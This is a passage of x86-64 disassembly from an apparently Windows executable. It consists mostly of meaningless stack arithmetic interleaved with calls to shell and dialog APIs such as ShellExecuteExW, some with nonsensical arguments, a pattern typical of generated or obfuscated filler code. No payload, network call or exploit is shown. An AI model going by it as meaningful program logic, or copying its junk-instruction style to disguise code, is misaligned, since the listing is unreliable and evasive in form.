movzx ecx, al
mov rax, qword [0x14019d1f0]
shl rax, cl
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0xe5e0]
mov rcx, qword [rsp + 0xe808]
mov qword [rsp + 0xed40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed40]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xac28], rax
movsx eax, word [rsp + 0x1750]
mov rcx, qword [0x14019f400]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b5c], ax
movzx eax, word [rsp + 0x2da8]
movzx ecx, word [rsp + 0x24f8]
sub eax, ecx
mov word [rsp + 0x2774], ax
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov dword [rsp + 0x709c], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe328]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x535], al
mov rax, qword [rsp + 0xeaa8]
mov rcx, qword [rsp + 0xae28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa3d8], rax
mov rax, qword [0x14019f150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9310]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6c8], rax
movsx eax, word [rsp + 0x17ac]
movsx ecx, word [rsp + 0x2aa4]
and eax, ecx
mov word [0x14019d288], ax
movzx eax, word [rsp + 0x25c0]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x70a0], eax
movzx eax, byte [rsp + 0x580]
mov rcx, qword [rsp + 0xe9a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x541], al
lea rax, [rsp + 0xabd0]
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xeba0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xed50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x708c], eax
mov rax, qword [rsp + 0xd4f0]
mov rcx, qword [rsp + 0xeaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd1e8]
mov qword [rcx], rax
lea rax, [rsp + 0x547]
mov qword [rsp + 0xed58], rax
movsx eax, word [rsp + 0x2ef4]
movsx ecx, word [0x14019d0e4]
add eax, ecx
mov word [rsp + 0x2d78], ax
movzx eax, word [rsp + 0x2d28]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d154], ax
lea rax, [rsp + 0xb6b0]
mov qword [rsp + 0xed60], rax
movzx eax, word [0x14019d140]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe558]
mov word [rcx], ax
mov rax, qword [rsp + 0xec50]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0xe6e8]
mov rcx, qword [rsp + 0xda70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ea4], eax
mov rax, qword [rsp + 0xd628]
movzx eax, byte [rax]
mov byte [rsp + 0x591], al
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc670]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8a8], rax
movzx eax, word [rsp + 0x2568]
mov word [rsp + 0x2f20], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov qword [0x14019f4c0], rax
movzx eax, byte [rsp + 0x450]
movzx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov rcx, qword [rsp + 0xd1d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xed00]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x6b50]
mov dword [rsp + 0x5ec4], eax
movsx eax, word [rsp + 0x2e68]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0xded0]
mov qword [rsp + 0xed68], rax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55c]
shl eax, cl
mov byte [rsp + 0xa1], al
mov eax, dword [rsp + 0x6f20]
movzx ecx, al
mov eax, dword [rsp + 0x6cf8]
shr eax, cl
mov rcx, qword [rsp + 0xdd00]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2aa4]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1774], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [0x14019f0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f2fc], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0x92b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe80]
mov qword [rsp + 0xed70], rax
mov rax, qword [rsp + 0xe700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9448]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd768], rax
movsx eax, word [rsp + 0x28ac]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0xc3f0]
mov qword [rsp + 0xed78], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f2bc]
shl eax, cl
mov dword [rsp + 0x6e30], eax
movsx eax, byte [rsp + 0x440]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3e9], al
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x521]
add eax, ecx
mov byte [rsp + 0x47f], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x70a4], eax
lea rax, [rsp + 0x1038]
mov qword [0x14019f4c8], rax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d20]
and eax, ecx
mov word [rsp + 0x2d54], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9898], rax
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xaaf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd840], rax
lea rax, [rsp + 0x452]
mov qword [rsp + 0xed80], rax
mov eax, dword [rsp + 0x5b74]
movzx ecx, al
mov eax, dword [rsp + 0x6ff8]
shl eax, cl
mov dword [rsp + 0x6d00], eax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29ac]
or eax, ecx
mov rcx, qword [rsp + 0xd750]
mov word [rcx], ax
lea rcx, [rsp + 0x1e970]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xce90], rax
movzx eax, word [rsp + 0x2c0c]
mov word [rsp + 0x2f24], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7a8]
mov qword [rsp + 0xed88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed88]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019d100], rax
lea rdx, [rsp + 0x1ffe0]
lea rcx, [rsp + 0x1f380]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6c14], eax
movzx eax, word [0x14019f42c]
movzx ecx, word [rsp + 0x14a0]
sub eax, ecx
mov word [rsp + 0x1b78], ax
mov dword [rsp + 0x20], reloc.SHELL32.dll_SHUpdateImageW
lea r9, [rsp + 0x1e5b0]
mov r8, qword [rsp + 0xed90]
mov rdx, qword [rsp + 0xe510]
mov rcx, qword [rsp + 0xe4e0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xe0e8]
mov qword [rsp + 0xed98], rax
mov rax, qword [rsp + 0xec20]
mov rcx, qword [rsp + 0xd440]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1f0], rax
mov rax, qword [rsp + 0xe7c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
add eax, ecx
mov rcx, qword [rsp + 0xe340]
mov byte [rcx], al
mov eax, dword [rsp + 0x6b20]
mov ecx, dword [rsp + 0x7014]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d98]
sar eax, cl
mov dword [rsp + 0x5a00], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x592], al
mov rax, qword [rsp + 0xde80]
mov rcx, qword [rsp + 0xe278]
mov qword [rsp + 0xeda0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeda0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe5d0], rax
movzx eax, word [rsp + 0x2ce4]
mov word [0x14019f4d0], ax
movsx eax, word [rsp + 0x2e54]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdb70]
mov word [rcx], ax
movzx eax, word [rsp + 0x2380]
mov rcx, qword [rsp + 0xd7a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b54], ax
movzx eax, word [0x14019d1d8]
movzx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2cd0], ax
mov eax, dword [rsp + 0x6e30]
mov dword [rsp + 0x70a8], eax
mov rax, qword [rsp + 0xcc48]
mov rcx, qword [rsp + 0xa8f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea50], rax
mov rax, qword [0x14019f198]
movzx eax, byte [rax]
mov byte [rsp + 0x593], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2cdc], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [rsp + 0xe4a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xe950]
mov rcx, qword [rsp + 0xe740]
mov qword [rsp + 0xeda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeda8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14019f268]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0xe700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd500], rax
lea rax, [rsp + 0xdc68]
mov qword [rsp + 0xedb0], rax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov rcx, qword [rsp + 0xeb88]
mov word [rcx], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [0x14019efac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x704c], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x594], al
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3eb], al
mov rax, qword [0x14019f1f0]
mov rcx, qword [rsp + 0xe388]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa6d8], rax
mov eax, dword [rsp + 0x69fc]
mov rcx, qword [rsp + 0xdfa8]
mov qword [rsp + 0xedb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedb8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019d28c], eax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [0x14019f440]
and eax, ecx
mov word [rsp + 0x1fa8], ax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d7c]
xor eax, ecx
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x2f28], ax
mov rax, qword [rsp + 0xed48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd650]
mov qword [rsp + 0xedc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedc0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdf40], rax
mov rax, qword [rsp + 0xe388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc90], rax
movsx eax, byte [rsp + 0x503]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50c], al
mov eax, dword [rsp + 0x6b18]
imul eax, dword [rsp + 0x6de8]
mov dword [rsp + 0x6fe0], eax
movzx eax, word [rsp + 0x10c8]
mov word [rsp + 0x2f2c], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f10]
or eax, ecx
mov rcx, qword [0x14019efd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb340]
movzx ecx, al
mov rax, qword [rsp + 0xd260]
sar rax, cl
mov qword [rsp + 0xe4f8], rax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
mov word [rsp + 0x2f30], ax
mov eax, dword [rsp + 0x59a4]
movzx ecx, al
mov eax, dword [rsp + 0x6d90]
shl eax, cl
mov dword [rsp + 0x6fa0], eax
movzx eax, byte [rsp + 0x57f]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0xdf20]
mov rcx, qword [rsp + 0xdbd8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe7c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d4], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xedc8], rax
movsx eax, word [rsp + 0x1774]
mov rcx, qword [0x14019f088]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe448]
mov word [rcx], ax
lea rax, [rsp + 0x1b18]
mov qword [0x14019f4d8], rax
lea rax, [rsp + 0xd998]
mov qword [rsp + 0xedd0], rax
mov rax, qword [rsp + 0xe9d8]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe0f8], rax
movsx eax, word [0x14019f3bc]
mov rcx, qword [rsp + 0xde90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, word [rsp + 0x1ed8]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c6c], ax
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xd690]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd840], rax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov dword [rsp + 0x70ac], eax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc3]
or eax, ecx
mov byte [rsp + 0x26f], al
mov rax, qword [0x14019d0d8]
movzx ecx, al
mov rax, qword [rsp + 0xcfe8]
sar rax, cl
mov qword [rsp + 0xb570], rax
movsx eax, word [rsp + 0x2ce8]
movsx ecx, word [rsp + 0x1624]
shl eax, cl
mov word [0x14019d080], ax
movzx eax, word [rsp + 0x2c98]
mov word [rsp + 0x2f34], ax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xe820]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x47f], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6f00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6400], eax
mov rax, qword [rsp + 0xeb08]
movzx ecx, al
mov rax, qword [rsp + 0xb100]
sar rax, cl
mov qword [rsp + 0xdf68], rax
lea rcx, [rsp + 0x1f7e0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xb028]
mov qword [rsp + 0xedd8], rax
mov eax, dword [rsp + 0x7064]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xede0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xede0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e2c], eax
mov rax, qword [rsp + 0xeb18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x563]
or eax, ecx
mov byte [rsp + 0x50f], al
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20a8]
sub eax, ecx
mov word [rsp + 0x2324], ax
lea rax, [rsp + 0x150c]
mov qword [0x14019f4e0], rax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [rsp + 0xe5c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xda20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
mov word [rsp + 0x2f38], ax
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a3c], ax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [0x14019f3f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0f8], rax
lea rax, [rsp + 0xdad8]
mov qword [rsp + 0xede8], rax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x564]
shl eax, cl
mov byte [rsp + 0x515], al
lea rax, [rsp + 0x6dec]
mov qword [rsp + 0xedf0], rax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xebb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xed70]
movzx ecx, al
mov rax, qword [rsp + 0xc738]
sar rax, cl
mov qword [0x14019d218], rax
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f6], al
lea rax, [rsp + 0x7050]
mov qword [rsp + 0xedf8], rax
movsx eax, word [rsp + 0x2e00]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28ac], ax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov word [rsp + 0x2f3c], ax
movsx eax, byte [rsp + 0x550]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x585], al
mov rax, qword [rsp + 0xe1a8]
mov rcx, qword [rsp + 0xd338]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6df0], eax
mov rax, qword [rsp + 0xe5a0]
mov rcx, qword [rsp + 0xa8f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb498], rax
lea r9, [rsp + 0x1ef60]
mov r8d, 0x28
mov edx, SHDoDragDrop
mov rcx, qword [rsp + 0xce48]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
sar eax, cl
mov word [rsp + 0x1c58], ax
lea rax, [0x14019f078]
mov qword [0x14019f4e8], rax
mov rax, qword [rsp + 0xe6f8]
mov qword [rsp + 0xee00], rax
mov rax, qword [rsp + 0xdf80]
movzx ecx, al
mov rax, qword [rsp + 0xb340]
shl rax, cl
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xedb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ec8], rax
mov edx, 1
mov rcx, qword [rsp + 0xdb20]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov rax, qword [rsp + 0xe598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d8]
sub eax, ecx
mov word [rsp + 0x1010], ax
lea rcx, [rsp + 0x1e3b0]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xee08], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xd568]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe018], rax
mov eax, dword [rsp + 0x6ebc]
mov dword [rsp + 0x70b0], eax
movsx eax, byte [rsp + 0x488]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4f9], al
movzx eax, byte [rsp + 0x58f]
movzx ecx, byte [rsp + 0x4e8]
shl eax, cl
mov byte [rsp + 0x2d5], al
mov eax, dword [rsp + 0x6254]
movzx ecx, al
mov eax, dword [rsp + 0x6928]
sar eax, cl
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e2c]
or eax, ecx
mov word [0x14019d278], ax
movzx eax, word [0x14019f368]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a44], ax
movzx eax, word [rsp + 0x2f0c]
mov word [rsp + 0x2f40], ax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe238], rax
mov eax, dword [rsp + 0x6d74]
mov dword [rsp + 0x70b4], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0x9538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe8f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x516], al
mov rax, qword [rsp + 0xe0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e2c]
or eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, word [rsp + 0x2f0c]
movzx ecx, word [rsp + 0x1ed8]
shl eax, cl
mov word [rsp + 0x20bc], ax
mov rax, qword [rsp + 0xe700]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd870]
sar rax, cl
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1660]
mov word [rsp + 0x2f44], ax
lea rcx, [rsp + 0x20260]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x6f88], eax
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xebd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe648], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd558]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xe880]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe4c8], rax
lea rdx, [rsp + 0xe3e8]
lea rcx, [rsp + 0x1e650]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6fb8], eax
mov rax, qword [rsp + 0xda88]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7018], eax
lea rax, [rsp + 0x6fd8]
mov qword [rsp + 0xee10], rax
movzx eax, byte [rsp + 0x410]
movzx ecx, byte [rsp + 0x557]
sar eax, cl
mov byte [rsp + 0x58f], al
movzx eax, byte [rsp + 0x461]
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0xe598]
movzx eax, word [rax]
mov word [0x14019f4f0], ax
movsx eax, word [rsp + 0x171c]
movsx ecx, word [rsp + 0x2cb0]
shl eax, cl
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xe4a8]
mov word [rcx], ax
mov rax, qword [0x14019f4d8]
movzx eax, word [rax]
mov word [rsp + 0x2f48], ax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xe5e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeac8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd960]
mov ecx, dword [0x14019f0c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6480], eax
movsx eax, byte [rsp + 0x3e1]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fa8]
add eax, ecx
mov rcx, qword [rsp + 0xecc8]
mov word [rcx], ax
lea rax, [0x14019f4b8]
mov qword [rsp + 0xee18], rax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xd940]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f1d0], rax
lea rax, [rsp + 0xd668]
mov qword [rsp + 0x20], rax
mov r9d, 0x8d
lea r8, [rsp + 0x1fbe0]
lea rdx, [rsp + 0xd4e8]
lea rcx, [rsp + 0xdde8]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xd6c8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc8e0], rax
mov rax, qword [0x14019f150]
mov rax, qword [rax]
mov qword [rsp + 0xee20], rax
mov rax, qword [rsp + 0x91b0]
mov rcx, qword [rsp + 0xd408]
mov qword [rsp + 0xee28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee28]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b60], ax
mov eax, dword [rsp + 0x5f48]
mov ecx, dword [0x14019efac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b8], eax
movzx eax, byte [rsp + 0x56e]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x540], al
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov dword [rsp + 0x70b8], eax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0xe388]
mov rcx, qword [rsp + 0xd0c8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d290], rax
movzx eax, word [rsp + 0x1308]
mov word [rsp + 0x2f4c], ax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe3c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2400]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2dec], ax
mov rax, qword [rsp + 0xed98]
mov rcx, qword [rsp + 0xdec8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb120], rax
mov rax, qword [rsp + 0xebe8]
mov rcx, qword [rsp + 0xe990]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdca0], rax
lea rax, [rsp + 0x9b]
mov qword [rsp + 0xee30], rax
mov rax, qword [rsp + 0xeba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6480], eax
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ab8], ax
lea rax, [rsp + 0x1e058]
mov qword [rsp + 0x20], rax
mov r9d, PathMakeUniqueName
lea r8, [rsp + 0xd6a8]
